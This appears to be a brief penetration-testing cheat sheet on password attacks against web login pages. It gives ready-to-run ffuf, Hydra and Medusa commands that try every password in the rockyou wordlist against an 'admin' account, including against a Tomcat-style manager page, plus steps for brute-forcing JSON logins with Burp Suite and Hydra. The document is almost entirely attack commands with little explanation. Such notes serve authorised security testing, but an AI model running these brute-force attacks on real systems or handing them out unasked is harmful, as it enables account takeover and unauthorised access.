Online Login Pages Password Attacks
1) ffuf
ffuf -c -w /usr/share/wordlists/rockyou.txt -u http://domain.local/login.php -X POST -d "login_username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded"2) Hydra (Requires enumerating the printed error after a failed login)
hydra -l admin -P /usr/share/wordlists/rockyou.txt "http-post-form://domain.local/login.php:username=^USER^&password=^PASS^:Login failed"hydra -I -V -C "$WORDLIST" -t 1 "http-get://domain.local:8080/manager/html:A=BASIC:F=401"3) Medusa
medusa -h domain.local -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/login -m FORM:username=^USER^&password=^PASS^ -m DENY_SIGNAL:"Login failed"4) Burpsuite Intruder
Attack JSON POST logins
1) Save JSON data in the request to a file
2) Grab the response code via BurpSuite to add it to Hydra command later to use
3) Minify the JSON and escape colons, since Hydra uses colons as field delimiters
4) Run the attack
Last updated